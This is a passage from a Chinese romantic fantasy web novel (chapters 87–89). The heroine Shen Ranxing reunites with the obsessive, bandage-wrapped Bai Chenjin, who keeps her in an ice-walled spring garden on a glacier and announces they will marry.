她目光落在他脸上那严实的包裹上:“感觉和从前的有些不一样了,纹理更细密些。” “是,”白尘烬声音平静,“之前的损毁了。” “和国师打斗的时候损毁的吗?” “嗯。” 两人你一言我一语,语气平静,倒像是寻常夫妻在唠着家常。 沈染星用脚尖撩起一点水花:“你现在连脸上都裹起来了,是因为比之前更严重了吗?” 白尘烬沉默了一下,在水中微微点头。 “这个温泉还挺舒服的,应该可以缓解你的症状吧?” “可以,”白尘烬解释道,“这温泉里,混了特制的药材。” 沈染星看着他被包裹得密不透风的模样,心中那份好奇与担忧终究压过了其他。 她一手撑在身侧微湿的石面上,身体前倾,另一只手就朝着他脸上的素帛探去:“我可以看看吗?看看素帛下面的样子。” 她的指尖即将触碰到时,白尘烬倏地抬手,精准地抓住了她的手腕。 他的手掌,因为泡在温泉里而有些烫人。 “迟点吧。”他说。 沈染星看着他眼底那片沉寂的蓝色,没有坚持,顺从地收回了手,重新坐好:“也行。” 泉水叮咚,风吹竹叶沙沙地响,暖融融的水汽熏得人有些慵懒。 沈染星的视线越过氤氲的水汽,落在不远处一条曲折小径上,茂密植物半掩,幽深不知通向何处。 她站起身来,拍了拍手上沾到的草屑,准备过去看看。 不料,才刚转过身,斜刺里,突然伸来一只手,猛地捉住了她的脚踝。 沈染星才低头。 一股向后的拖拽力道传来,脚底在湿滑的石面上一滑。 惊呼一声,她整个人瞬间失去了平衡,直直地朝着后面倒去。 这个疯子! 干嘛突然绊她! 她心中又惊又怒,在心里狠狠骂了一通。 可预想中摔在坚硬石头上的疼痛并未到来。 噗通。 水花四溅。 她跌入了温暖的泉池中,准确地说,是落入了一个坚实而滚烫的怀抱里。 还不等她从这突如其来的落水中回过神,白尘烬的手臂猛地收紧,几乎失了控,近乎野蛮,将她狠狠地按在了池边的石壁上。 温热的池水漫过她的腰际,他的胸膛紧密地贴着她的后背,心跳声如同擂鼓,透过湿透的衣物重重地敲击在她的脊椎上。 他越搂越紧,手臂勒得她肋骨生疼,几乎要喘不过气来。 “唔……松,松一点……”沈染星难受地挣扎了一下,伸手去推他的手臂。 然而,白尘烬的力道没有丝毫松懈。 他反而弯下腰,将头深深地埋进她湿漉漉的颈窝里。 “染星,”他说,“别离开我。” 第87章 再也不离开了 沈染星抬手, 掌心抵在他额间,用力往后一推:“你再不松一下力道,我他妈就要被你勒死了。” 话音刚落,身后的人竟也轻易被她推开了。 沈染星立刻抓住这空隙, 猛地转过身, 想要拉开一点距离, 看清他此刻的神情,再好好跟他算账。 然而,身体刚转过去, 他紧接着又逼近了一步, 小腹处便被一个灼热物体抵住。 那触感太过鲜明, 隔着湿透的紧贴在身的薄薄衣料,硌得沈染星浑身一僵。 她抬起眼,恰好对上一双近在咫尺的灰蓝色眼眸。 那里面不再是辽辽一片冰原,而是翻涌着暗沉漩涡,愈发暗沉, 她莫名看出了压不住的疯狂。 沈染星还没来得及做出任何反应, 甚至没能吐出一个音节, 他的阴影便已彻底笼罩下来。 他一手扣住她的要, 俯身,狠狠地覆住了她的唇。 不是温柔的触碰,也不是缠绵的厮磨,而是像一头猛兽,一头饥肠辘辘的凶兽, 咬住了自己的猎物。 唇瓣带着温泉的热度,湿润而滚烫。 他几乎是粗暴地撬开了她因惊愕而微启的齿关,湿滑的舌尖带着不容抗拒的强势, 长驱直入,蛮横地扫过她口腔内的每一寸领地,纠缠住她的软舌,用力地吸吮、舔舐,带着一种仿佛要将她整个人拆吃入腹的凶戾。 沈染星反应过来,也毫不示弱,迎上去。 齿关相撞,舌尖缠斗,像两匹争夺领地的狼。 水珠顺着白尘烬的下颌滴落,在沈染星锁骨处碎开。 她抬手,抓住他湿透的黑发,只轻轻一抓,他居然顺势仰起了头,凌厉的喉结展露无遗。 沈染星想也没想,侧过头,直接狠狠咬了上去。 白尘烬闷哼一声,眼底烧起更暗的火焰,扣住她的后颈,迫使她抬头,再次吻下来,比刚才更凶,更急。 两个人似乎都在发泄,吻起来丝毫怜惜,似乎都积压了太久太久的思念、恐惧、失而复得的狂乱。 不知谁的牙齿磕破了谁的嘴唇,交缠的唇舌间,铁锈味弥漫开来。 两人一顿撕扯,白尘烬的衣襟敞开了。 沈染星的手滑进他敞开的衣襟,手指骨节突出,死死抓住了他身上的素帛。 他的掌心贴着她腰侧往下,布料湿透后紧贴皮肤,几乎不存在任何阻隔。 温泉哗啦作响,水波随着他们的动作激烈荡漾。 沈染星手准备用力,一把扯松他身上素帛的时候,手腕突然被扣住。 …… 混乱戛然而止。 水波也渐渐平息,只剩温泉的叮咚声。 两人额头相抵,都在剧烈喘息。 白尘烬一手搭在她腰间,一手攥着沈染星放在他心口的那只手,水珠从他额发滴落,滑过紧绷的下颌线,落入她心口。 沈染星觉得喉咙发干,不知该不该问他为何不继续…… 这时,他的声音在她的头顶响了起来:“染星。” “嗯?” 他的声线不再是以往那种冰冷的质感,更像是直接从喉咙深处艰难摩擦出来,带着可怕的涩意,每一个音节都承载着过于沉重的情绪: “真的是你。” 短短的四个字,却像是用尽了他全身的力气,带着压抑不住的震颤。 那种震颤不知从何而起,他灼热的呼吸,他紧紧箍在她腰背的有力手臂,紧绷的下颌线,乃至于他整个高大的身躯,此刻都陷在一片难以自控的震颤之中。 这感觉,不像是因为激动,反而更像是孤身一人落入了冰天雪地的荒原,刺骨的寒意几乎要将他从内到外彻底冻僵、撕裂,此刻终于寻到一丝热源,那冻僵的躯体本能地发出求生般的战栗。 沈染星有理由相信,就在刚才那一瞬间,他彻底失去了对一切情绪的掌控,否则,他绝不会在她面前,流露出如此近乎崩溃的脆弱。 这些情绪太过强烈,也太过脆弱,简直都不像他。 更像是一头抛弃在寒冷天地里,伤痕累累的幼狼。 沈染星是第一次看到他这副模样,简直无法形容此刻心头的震颤与触动。 她轻轻搂着他:“是我。” 白尘烬却没了反应。 沈染星又道:“我真的回来了,再也不离开了。” 他顿了顿,佝偻着背,低头埋在她的颈窝,声音闷闷的:“嗯。” 沈染星发现他的情绪似乎稳定了一些,问道:“你为什么会觉得我不是我?” 在沈染星的印象里,他情绪不弱,只是言语吝啬得可怜。 特别是在这种情绪剧烈波动的时候,她其实并不期望能得到他详细的解释。 只是想和他说说话,用这种方式分散他那过于沉重的情绪。 白尘烬静默了片刻,就在沈染星以为他不会回答时,他的声音响了起来,似乎恢复了些许平日的淡然: “我怕。” “怕什么?” “怕此时的你,仍是幻觉。”他顿了顿,“我时常能听到你的声音,可一旦我循声去找你,那声音便会立刻消失。” 沈染星心脏像是被针扎了一下,细细密密地疼。 她抬起手,一遍遍轻柔地抚摸着他湿透的紧绷的背脊,仿佛要抚平他所有的不安:“我没有消失,你看,我能碰到你,我是温热的,我是真的,真的回来找你了。” 白尘烬搂着她的力道重了重,声音闷在她颈间:“方才,我听到了棺材里的响声,感觉到你从里面坐起来。但是,我不敢抬头看你,怕看到你之后,你便会像从前的几次一样,在我眼前消散。” “我想着,即使看不到你,只要能感受到你在身边,也是好的。你可知我有多害怕?我被无数人追杀,被父母家族流放,被师父用尽手段折磨,我也从未感受到过什么是害怕。” “可我真的害怕你离开我。我不知道不知道该怎么做,才能将你留住。我听说你的生死状已经失效,不再受制于国师了。所以我想我想把这个最后的威胁也除去,尽快除去!这样你才能真正安全,才可以放下所有顾虑留在我身边。” 在那之后的事情,沈染星自然是知道的。 无非就是他拼尽全力,甚至不惜以身犯险去刺杀国师,换来的却是一场空。 把自己弄得伤痕累累,却只是一场空。 她心口又开始发闷,曾经她无数次在心底质问,为什么要那样逼她,逼她选择离开。 如今,看着他这副模样,她又在想,这世道为什么要这样对他。 白尘烬接着道:“可你还是出事了,我不知道该怎么做,我真的不知道该怎么办……” 沈染星第一次生出一种想要将他揉进自己骨血里的冲动,他不知是想通了什么,此刻完全剥离了身上那层坚硬的保护,不再掩饰自己的脆弱与恐惧,每一个字,都对她袒露最不堪一击的内里。 他甚至不再掩饰那种少年的依赖性,把她抱起,让她坐在池边,埋首于她的怀里,仿佛怎么也听不够她的心跳。 被他这样全然依赖地贴着,沈染星只觉得自己的心口,像是刚刚烘焙出炉的软面包,徐徐充盈膨化开来,胀满了整个胸腔。 她在他的气息,醺醺然的,头脑有些发晕,心里却像是涨满了风的帆。 待两人收拾干净,换上干爽的衣物,窗外已是夜幕低垂,星子零落。 房间内的布置,竟与沈染星记忆中在共生苑的居所一模一样,从屏风的图案到窗边的软榻,甚至梳妆台上那不起眼的小摆件,都如同一个模子刻出来的,简直是一比一的完美复制。 这细致的还原,背后所耗费的心力,让沈染星心头微涩。 然而,白尘烬似乎并不打算就此休息。 他牵起她的手,便要领着她往外走。 “要去哪儿?” 他没有回答,只是握紧了她的手。 沈染星此刻也没有与他争执的心思,经历了方才温泉边的情绪决堤,便也顺从地跟着他。 他牵着她,走过熟悉的游廊,穿过繁花似锦,静谧幽深的庭院。 走着走着,沈染星心中的不对劲感越来越强烈。 这路线…… 直到那扇熟悉的地下密室厚重木门再次出现在眼前,沈染星的脚步猛地钉在原地,再也无法向前一步。 石门两侧挑着的红色灯笼,在夜风中微微晃动,投下惨淡摇曳的光晕,将那敞开的门,照得如同巨兽张开的口器,幽深,诡异,散发着不祥的气息。 沈染星站在门外,在风中凌乱,死活也不愿意再踏进那扇门哪怕一步。 甚至想到醒来时候,她居然是躺在里面的,脊背起了一身鸡皮。 白尘烬感受到她的抗拒,不解地低头看她。 他居然还不解上了?! 沈染星深吸一口气,耐着性子问道:“你是想进去拿什么东西吗?我在这里等你。” 白尘烬摇了摇头,语气自然,像是在说一件再平常不过的事:“不拿东西,我们回去休息。” 回去休息?! 沈染星几乎立即就想起了密室内的景象,那密密麻麻的,无声注视的佛像,那阴森压抑的氛围,还有那口黑黢黢的棺材…… “不可以,我再也!不会进去那个地方!” 白尘烬见她反应如此激烈,伸手搂住她的肩,试图将她往门内带,语气甚至带上了一点诱哄:“里面对你身体好。” “怎么好法?”沈染星脚下如同生根,纹丝不动。 白尘烬:“这处别院,是我专门为你寻的地址,依山傍水,风水极佳,能汇聚天地灵气,甚是滋养。这间密室,正是阵眼所在。正是藉由此地,我才勉强护住了你最后一抹气息不散。” 他说得轻描淡写,可沈染星知道,在这短短几句话背后,究竟要付出何等巨大的心血,动用怎样的人力物力,甚至可能……付出了她无法想象的代价。 所以他才会变成如今这副人不人、鬼不鬼的模样。 这甚至不是形容词,在昏暗的灯笼光下,他浑身缠绕素帛,气息冰冷诡异,简直像真的从地府爬出来的幽魂。 白尘烬说着,声音里渐渐染上一种兴奋与偏执:“我们可以永远住在这里。这里很安全,没有人能打扰我们,也没有人能把你从我身边带走,只有我们两个……” 他定定注视着她,仿佛在规划着一个与世隔绝的的巢穴。 沈染星听着他越说越不对劲,那语气里的疯狂与兴奋几乎要溢出来。 她忍不住抬起双手,“啪”地一下,捧住他被素帛覆盖的脸颊,强迫他直视自己:“白尘烬!你该不会是打算以后我们都住在这里,然后就把这间密室当作我们的寝室吧?” 白尘烬的眼睛在素帛上方,亮晶晶地看着她,虽然没有说话,但那眼神分明就是跃跃欲试。 沈染星干脆利落地否决:“不可以!” 白尘烬定了一瞬,眉眼突然弯了起来,在那惨白的灯笼光下,那笑容非但没有暖意,反而让人觉得阴风阵阵,搭配上密室门口这诡异的环境,更是让人脊背发冷。 他温柔地说道:“习惯之后,你会喜欢的。” 说着,手臂再次用力,便要将她往那扇石门里拐。 沈染星打算试一下,可是一想到里面那令人头皮发麻的景象,想到自己要睡在棺材旁边,被无数佛像注视着度过每一个夜晚,她就浑身汗毛倒竖。 这日子还怎么过?! 她还是没办法说服自己,用力挣脱了他搂住自己肩膀的手:“我不可能会喜欢的。” 话音落下,身前的白尘烬定定立在她身前,没了动静—— 作者有话说:正文完结后,会发月拂往事的甜甜番外,妹宝和小白的可能会有[狗头叼玫瑰][狗头叼玫瑰][狗头叼玫瑰] 第88章 很没原则地妥协了 等了半晌, 身前的人没有丝毫回应,没有预想中的妥协,也没有被拒绝后的暴怒。 沈染星疑惑地抬头,才发现白尘烬的面色已然彻底冷了下来, 如同覆上了一层寒霜。 方才那一点诡异的温柔笑意, 消失得无影无踪, 取而代之的,是一种沉郁的阴寒。 沈染星脑袋“嗡”地响了一声,心里咯噔一下。 完了。 又疯了。 她早该知道, 白尘烬本质上就不是什么能循循善诱, 讲通道理的人。 他的骨子里刻着偏执与独占, 行事准则向来以他自己的意愿为绝对核心。 看着他此刻这副模样,再联想到密室里那令人窒息的布置,便可以猜到,在这一年多的分离与绝望中,他的疯病、他的偏执、他的控制欲, 非但没有减轻, 反而变本加厉, 已经深入骨髓。 进去吗? 可那里面的环境实在是太过恐怖阴森, 光是回想就让她头皮发麻,她是真的真的不想再踏足一步。 可不进去的话…… 以他现在的状态,若是强行违逆,后果不堪设想。 而且,论力气、论手段, 自己根本争不过他。 也不知他是否还会因为她的亲近,而稍稍顺着她一点? 沈染星按下自己过快的心跳,强迫自己冷静下来。 她上前一步, 伸出手,轻轻地环住了白尘烬劲瘦的腰身。 原本是想放软姿态,撒个娇,说点好话哄他改变主意。 然而,手臂环上去的瞬间,掌心传来的触感却让她心头猛地一揪。 他的腰真的太细了,隔着衣物都能清晰地摸到骨骼的轮廓,完全失去了从前那种充满力量与弹性的肌肉厚实感。 于是,到嘴边的撒娇话语,瞬间变了调:“你怎么瘦得这样厉害了。” 没等白尘烬回答,沈染星深吸一口气,将脸埋在他胸前。 她很没原则地妥协了。 “我们进去吧,进去密室也行,早点休息。” 说完,沈染星在心里无奈地叹了口气,或许,那种完全封闭,与世隔绝的环境,对于此刻精神极度不安的他而言,反而是一种另类的安全感来源。 他在那里面独自度过了那么多日夜,突然间让他完全脱离,他一时间,或许也难以适应。 那就……先顺着他吧。 慢慢地,再想办法,一点一点地,把他哄出来。 沈染星本以为,自己说出这番妥协的话之后,白尘烬会立刻高兴起来,会带着那种得偿所愿的,甚至有些病态的兴奋,迫不及待地把她拉进去。 然而,他没有。 他一动不动地站在原地。 沈染星环抱着他,完全猜不透他究竟在想着什么。 不过,这样抱着他,鼻尖萦绕着他身上淡淡的冷冽气息,身体相贴的地方传来他温热的体温,这种真实的触感,让她觉得莫名的心安与舒适。 她便也没有催促,只是静静地抱着他,等待着。 时间在寂静中一点点流逝,庭院里只有风吹过树叶的沙沙声。 白尘烬就像是彻底宕机了一般,没有任何言语,也没有任何动作。 渐渐地,沈染星觉得有些奇怪,环抱着他腰的手臂力道微微放松,想要向后退开一步,看看他此刻的神情。 然而,就在她手臂力道松懈的瞬间,白尘烬却动了。 他突然半蹲下身,一把将她举着抱起来,沈染星惊呼一声,搂紧了他的脖颈。 不知为何,她总觉得刚才他一直不动,其实是在默默地享受着自己主动抱他…… 所以她松手想要离开时,他才动起来。 ……但她没有证据。 白尘烬抱着沈染星,脚步沉稳地动了起来。 一想到即将再次进入那个令人不适的密室,沈染星还是有些紧张,搂着白尘烬脖颈的手臂,便不自觉地更加用力,身体也微微紧绷起来。 然而,白尘烬的脚步却在密室门口方向一转,径直朝着相反的方向走了。 沈染星眼睁睁地看着那扇黑洞洞门,在自己的视线里渐行渐远,最终被廊柱和夜色吞没。 她有些懵了。 忍不住提醒道:“你是不是走错方向了?” 白尘烬不紧不慢走着:“既然你不喜欢,那便不进去了,我们回房里。” …… 沈染星不知道自己是什么时候睡着的,也不明白,怎么会在那种情况下突然就睡着了。 或许是他身上那熟悉又令人安心的气息,又或许是他抱着她行走时,带来一种规律而令人放松的颠簸,颠得她昏昏欲睡。 总之,她在不知不觉间,睡着了。 甚至睡得格外香甜深沉,连一个梦都没有做。 她已经记不清,自己有多久没有睡得这样香甜过了。 自从在街角处,看到白尘烬和萧霁雪站在一处,她便一直睡不好。 即便后来回到了现代,躺在熟悉的病床上,也是极易被吵醒的。 次日,沈染星悠悠转醒时,窗外天光已大亮,柔和的光线透过窗棂,洒满房间。 她一睁眼,便看到了白尘烬。 回到现代的时候,每次睁眼,看到的都是纯白的天花板,惨淡得让人觉得无趣。 而此时,视线里,蓦地出现闯入一双她日思夜想的眼眸,一双凝结了万里风霜与深邃星河的灰蓝色眼眸。 原本还带着初醒的朦胧,沈染星在看清眼前景象的瞬间,一下子完全清醒了过来,眼睛瞪得圆圆的。 几乎是本能反应,她撑起身子,双臂一抬,就紧紧地搂住了白尘烬的脖颈,整个人像只树袋熊一样挂了上去。 白尘烬被她这突如其来的热情,撞得微微向后仰了一下,随即稳稳地承受住,手臂自然地环住她纤细的腰背,掌心带着温热的体温,一下下,轻柔地抚摸着她的后背,无声地安抚着。 直到这时,沈染星才后知后觉地发现,自己并非直接睡在床铺上。 她整个人几乎是嵌在白尘烬的怀里。 身上盖着的,是他宽大的的黑色衣袖;头枕着的,是他温热的肩窝;整个身体的重量,都倚靠在他胸膛和臂弯里。 他就这样,抱了她一整夜。 她抬起头:“你该不会一个晚上都没睡?” 白尘烬垂眸看着她,喉间发出一声低沉的:“嗯。” 算是承认。 “那你手脚不麻吗?”沈染星说着,伸手去捏他垫在自己身下的大腿。 白尘烬摇了摇头,表示无碍。 沈染星不由得有些羡慕,这到底是什么变态体质和耐力,被压了整整一晚上,居然一点事都没有? 她好奇地又捏了捏,甚至还带着点探究意味地拍了两下,感受那紧实肌肉的回弹。 然而,就在她拍第二下的时候,手下触碰的肌肉猛地绷紧。 同时,白尘烬抬手,精准地捉住了她作乱的手腕。 他的声音比平时更加低沉沙哑:“不要乱摸。” 沈染星先是一愣,随即顺着他略显紧绷的身体线条低头一看。 果然,看到了某处的异样。 沈染星脸颊微热,一手撑在他结实的大腿上借力,身体自下而上,抬起头,将唇瓣印上了他那被素帛覆盖的下颌,随后,又缓缓向上。 白尘烬的呼吸一重,扣住沈染星纤细的小臂,一个利落的翻身,将她星结结实实地压在了柔软的床榻之上,高大的身影完全笼罩了她。 他低下头,隔着那层素帛,轻柔地在她唇瓣的位置印了一下。 一触即分。 随即,他直起身,毫不犹豫地翻身下床,动作快得几乎带起一阵微风。 他背对着她,整理了一下略显凌乱的衣袍,声音带着一丝尚未平复的沙哑,头也不回,丢下一句:“我唤人进来服侍你。” 说完,便大步流星地离开了房间。 他一系列行为行云流水,沈染星独自躺在床榻上,看着那迅速消失的背影,彻底愣住了。 这种情景…… 说实话,算不上完全陌生。 只是那已经是很久很久以前,在她和他刚刚开始纠缠、彼此试探、互相拉扯的时候,他才会有这种……把人撩拨得心痒难耐、情绪都被吊到了半空,然后他自己却像个没事人一样,干脆利落地抽身离开,留她一个人面对一腔无处安放的躁动。 这种感觉,糟糕透了! 沈染星郁闷地捶了一下床褥,觉得自己仿佛辛辛苦苦玩了一局攻略游戏,好不容易推进到了关键剧情,结果一个闪退,直接回到了最初的存档点! 如今一切都要从头再来,重新摸索这个变得愈发阴晴不定人。 一想到闪退,她记起了自己选择回来的一个重要原因—— 外界岌岌可危的形势。 国师似乎占据了上风,萧霁雪一行人处境危险,甚至可能牵连整个共生苑和她苦心经营的妖院。 沈染星叹了一口气,坐起来,动手整理身上有些凌乱的衣裳。 白尘烬现在这个状态,恐怕不会轻易放她离开这处别院,更不会让她轻易卷入外界的纷争。 急又急不来,必须得想一下办法。 当务之急,是先了解一下外面的情况。 等他说的服侍的人来了,或许可以试着打听一下消息。 这么想着,沈染星的焦躁心情稍微平复了一些。 她刚整理好衣襟,抬起头,好不容易等来了服侍的人,整个人却瞬间石化,彻底傻眼了。 她呆呆看着所谓“服侍的人”,鱼贯而入。 她知道白尘烬此刻的精神状态有些不正常,行事不能以常理度之。 但是,她万万没料到,他口中的“人”,根本就不是活生生的人。 而是……四团模糊的,如同凝聚而成的白色雾气。 它们大致呈现出人的轮廓,有头、有躯干、有四肢,但边缘不断飘忽摇曳,没有清晰的五官,也没有实质的身体。 就这样飘飘悠悠地,无声无息地从门外流了进来,如同传说中的幽灵鬼魂,带着一股非人冰冷的气息。 它们低低地悬浮在地面之上,轻盈地飘荡,仿佛没有重量。 周身散发着微弱又朦胧的白光,在这明亮的清晨室内,格外诡异,不协调。 沈染星后背瞬间爬上了一层白毛汗。 得亏昨晚这些“阿飘”没有出现,不然在黑灯瞎火里,猛地看到这么几个玩意儿,非把她吓得魂飞魄散,直接心脏病发不可。 正想着,这几团人形白雾轻飘飘的,飘了过来,规规矩矩停在床边。 它们没有言语,甚至没有任何意识交流的迹象,只是机械地,像是按照某种既定的程序,帮她洗漱更衣…… 洗漱完毕,沈染星决定在别院里四处逛逛。 她推开房门,踏入晨光熹微的庭院。 春日暖阳洒下,院中花依旧开得绚烂,在枝头轻轻摇曳,一切看起来宁静而美好,甚至美得有些不真实。 无论她走到哪里,那四五个白色的雾人都如影随形,寸步不离,跟在她身后约三步远的地方。 它们移动时悄无声息,只是静静地飘浮着,没有五官的面容,永远朝向她的方向,仿佛一群幽灵守卫,没有自我意识,只负责监视。 逛着逛着,她发现了不对劲。 这整座别院,居然都笼罩在一股强大而隐晦的妖力之下。 这股力量无处不在,维系着庭院里过于蓬勃的花草生机,也维持着一种奇异的的静谧。 空气仿佛都比外面粘稠几分,阳光也像是被一层无形的薄膜过滤过,温暖,却缺乏真实的穿透力。 她试着朝院落的边界走去。 穿过精巧的亭台水榭,绕过嶙峋的假山,她看到了…… 一堵围墙。 那墙极高,仰头望去,几乎看不到顶,将天空都切割成了一方规则的蓝色块。 墙体并非寻常的砖石或木材,而是一种晶莹剔透的物质。 沈染星走近,伸出手,触碰那墙体。 指尖传来的,是刺骨的冰凉,以及一种坚硬光滑的质感。 是冰。 这环绕整个别院的的围墙,竟然是纯粹由冰构筑而成的。 阳光照射在冰墙上,折射出璀璨却冰冷的光芒,美得惊心动魄,也冷得彻骨铭心。 她用力按了按,冰墙纹丝不动,坚固异常,并非自然形成。 她尝试沿着冰墙行走,发现它是一个完美的闭环,将这座春日烂漫的庭院,彻底围了起来。 没有大门,没有缝隙。 唯一的活物,只有她自己。 沈染星站在冰冷的墙下,抬头望着那一方被圈起来的天空。 白尘烬居然动用如此强大的力量,为她打造了这样一座绝无可能自行逃离的……精美牢笼。 既然无门,她攀上墙头去看个究竟。 那些雾人虽然呆滞木讷,却有一个显著的优点,绝对服从命令。 沈染星指挥着它们,紧贴着那面冰墙叠起来,将它们当作人梯。 她抬起脚,不料,刚踩上其中一个雾人,那雾人“噗”地一下就散了。 脚下顿时一空。 身体失衡,一个趔趄向后倒去。 预料之中地,她落入了一个怀抱,带着湿润水汽和暖意。 不必回头,那熟悉的气息已然昭示了来人的身份,白尘烬。 他的墨发尚带着未干的水痕,几缕湿发贴在额角,周身散发着温泉浸染后的暖烘烘的气息,显然是刚刚在沐浴。 可见来得匆忙。 他胸膛高低起伏,呼吸又粗又缓…… 嗯,情绪也十分激烈。 沈染星心知,他必然能通过这些雾人感知到院内的一切。 发现她试图往外走,对他的到来,以及他的反应,并不感到意外。 她索性顺势,靠在他怀里,坦荡提出了自己的要求: “我想看看墙的那边是什么。” 第89章 怎么突然间又改变主意了…… 白尘烬早已做好了准备, 预想着她会哭闹、会质问、会想尽办法逃离这座他精心打造的、除了他无人能忍受的牢笼。 然而,她没有。 她只是这样心平气和地向他提出请求,仿佛真的只是想窥探一下墙外风景,而非意图离开。 他低头, 凝视着她仰起的脸庞。 晨光下, 她的眼眸清澈得像山涧的溪流, 里面没有阴霾与算计,只有坦荡荡的期盼,如同初生的幼兽, 纯粹而直接。 这双眼睛, 让他不由自主地想起了昨夜。 她那样安然地沉睡在他的怀中, 呼吸均匀,面容宁静。 可那份安宁于他而言,却如同凌迟。 恐惧不由分说盘踞在心头,他怕她像先前那般,睡着睡着, 就再也唤不醒。 于是他只能睁着眼, 一瞬不瞬地看着她, 在不安、焦躁与深入骨髓的担忧中, 煎熬地数着星子坠落,看着晨曦微露。 直到她醒来。 只是他没料到,那双迷蒙的双眼在聚焦于他面容的瞬间,骤然迸发出明亮的光彩。 那一刻,他混沌不堪, 充斥着各种阴暗念头的思绪,仿佛被一道强光穿透,骤然清明。 她不管不顾地扑进他怀里, 紧紧搂住他脖颈,他那颗一直空悬着无所依归的心脏,仿佛瞬间被填满,一直摇摇欲坠的世界,也终于找到了稳固的支点。 将她永远禁锢在这里,切断她与外界的所有联系,让她只属于他一个人…… 这个念头,在他失去她的那漫长的一年多里,早已如同毒草般在他脑海中扎根,蔓延,并且日益笃定,坚不可摧。 可是…… 就在此刻,在她这期盼眼神里,那坚不可摧的执念,轰然崩塌了一角。 他听到自己低沉的声音,带着几不可察的妥协与纵容,甚至有些雀跃,响起: “好。” 话音刚落,他已伸出手臂,稳稳地环过她的背脊,足尖在冰墙上几次轻点借力。 不过瞬息之间,便已带着她,稳稳地落在了墙头。 沈染星甫一站定,凛冽的寒风便如同刀子般,扑面而来,吹的二人衣袂猎猎。 她倒吸一口气,那冰冷彻骨的空气瞬间窜入肺腑,带来一阵刺痛感。 白尘烬掀开外袍,把她裹在胸前。 她缓了一瞬,抹开扑打在脸上的头发,举目望去,整个人都僵住了。 墙外,并非她想象中的山林,原野或是其他院落。 放眼所及,竟是一片无边无际,死寂苍茫的…… 冰川。 不过,这个鸟不拉屎,连鬼影子都看不到的极寒之地,为什么会凭空出现一个四季如春,繁花似锦的院子? 她知道白尘烬动用了自身的力量来维持这个小天地的运转,但她万万没想到,他竟然是选择了在这样一片生命绝迹的酷寒之地,硬生生地,逆天而行地,造出了这一方违背常理的春日庭院。 这何止是防止她逃跑? 这简直是……将她置于了一座悬浮于冰海之上的孤岛,一座只有他们两人的,与世隔绝的小世界里。 沈染星内心波涛汹涌,白尘烬却颇为自豪。 他环视着这片苍茫冰原,用一种这都是朕为你打下的江山的语气,说道:“这里风景很不错,而且,不会再有任何不相干的人来打搅我们了。” 沈染星:“……” 她看着那白茫茫一片,几乎要引发雪盲症的冰原,再感受着刮在脸上如同小刀片似的寒风,实在无法将“风景不错”这四个字与眼前景象联系起来。 然而,残存的理智告诉她,这话绝对不能说出来。 否则,身边这个人,不知道又会做出什么更偏激的事情来。 她想起白尘烬曾说过,选择此地,是因为此处特殊,能护住她最后一缕生机不散。 对她的作用,她感觉不到,不过细想之下,倒是能发现,身处这片极寒中,白尘烬周身那股一直隐隐躁动不安的气息,似乎平复了许多。 看着眼前肆意乱刮的的寒风,沈染星莫名联想到了白尘烬身上那些幽蓝色,虚虚实实,似雾非雾的诡异图腾。 她心中一动,开始好奇,这样一个极端的环境,究竟是如何找到的? 她转过头:“我们来到这里,与你身体里的那股力量有关,对不对?” 白尘烬垂眸看她,并没有隐瞒的打算:“是,在这里,我可以最大限度地动用那股力量,而无需担心它会失控反噬。” 经他这么一提醒,沈染星才恍然意识到,这次重逢以来,白尘烬虽然精神状态堪忧,像个怨念深重的幽魂。 但确实少了以往那种,随时可能被力量吞噬,陷入狂暴失控边缘的危险感。 那问题又来了,到底是什么样的情况,需要他如此不计代价地,最大限度地使用那股力量? 沈染星的心脏突然狂跳起来。 白尘烬察觉到了她变化的呼吸,低头凑近:“冷吗?” “不冷,”沈染星压下心头的悸动,仰头,看着他被素帛遮掩的脸,“我昏睡了一年多,这具身体还能维持一线生机,是不是因为你利用了这里的环境,还有你那股力量?” “是。”他坦然承认。 “那如果未来不需要再这样维持我的生机了,你还能像以前那样,将那股力量控制住,收敛起来吗?” 白尘烬道:“可以。” “如果离开这里呢?” 白尘烬搂着她的手臂紧了一下,言语间带着温和的笑意:“染星,外面危险,我们不能离开这里。” 虽然他是笑着的,可沈染星觉得他散发的寒意,比这天地间的更甚。 她在心里告诫自己:急不来,急不来。 万一把人惹恼了,指不定会发生更夸张的事情。 她躲在他宽大的外袍阻挡寒风,转过身,与他面对面,相拥:“好,不离开,反正只要你一直陪着我就好。” 白尘烬对她这般顺从依赖的姿态极为受用,抬手,按着她的后脑勺,将她更紧地拥入怀中,下颌轻轻抵着她的发顶,低低地应了一声: “好。” 接触不到任何外界的信息,日子仿佛凝固在这座冰原孤岛般的别院里。 沈染星倒也安安分分地过了近一个月天。 平心而论,这段时日算不上无聊。 白尘烬仿佛将他压抑了百余年的才情尽数倾泻出来,变着法子地陪她。 他会用那把低沉悦耳的嗓音为她读些志怪传奇或风月话本,会在月下抚琴,会在庭院中舞剑,甚至还会耐心教她下棋……尽管她棋艺臭得让他那总是没什么表情的脸上,偶尔也会露出一丝无奈。 简而言之,每日醒来,似乎都有不同的惊喜在等待她。 这日清晨,沈染星醒来时,空气中弥漫着一丝不同寻常的气息。 她披上外袍,推开房门,微微怔住了。 白尘烬正站在一架木梯上,仔细地将一盏硕大的红灯笼悬挂在廊檐下。 他今日未穿往日的深色衣袍,换了一身略显宽大的暗红色长衫。 宽大的袖口随着他抬手的动作垂落,露出半截缠绕着素帛的小臂,在晨光中,身形单薄落拓。 不过,让她眼角微抽的是,院子里那些原本只是白色雾气的仆人,此刻身上竟都穿上了歪歪扭扭的红绸。 它们依旧无声地飘来飘去,只是那喜庆的红色配上它们虚无的形态,在春日庭院里…… 格外诡异和瘆人。 不过看得多了,沈染星也只能勉强告诉自己…… 习惯就好。 白尘烬听到开门声,转过头来,目光落在她身上:“醒了?今日,我会与你成亲。” 成亲?! 沈染星愣在原地,足足过了半晌才消化完这句话。 她记得很清楚:“你不是曾经说过,你不会与我大婚吗?怎么突然间又改变主意了?” 白尘烬从梯子上下来,步履平稳地走到她面前,语气理所当然:“我改变主意了。” 沈染星看着他,神情认真起来:“婚姻之事,在我心中很重要。我不想它变成一件如同栽花种树,一时兴起就可以随意决定的事情。” 在她匮乏的人生体验里,感受到的亲情少得可怜。 而伴侣,是唯一可以自己选择,并有望成为至亲的人,这对她而言,意义非凡,不容轻慢。 “没错,这是一件很重要的事。”白尘烬重复着她的话,眼里忽然露出沉郁之色,仿佛想到了什么不愉快的往事。 他伸手,将她拉入怀中,紧紧抱住:“这是一个仪式,一个能让我们的联系变得更加紧密,更加不可分割的仪式,自然是无比重要的。” 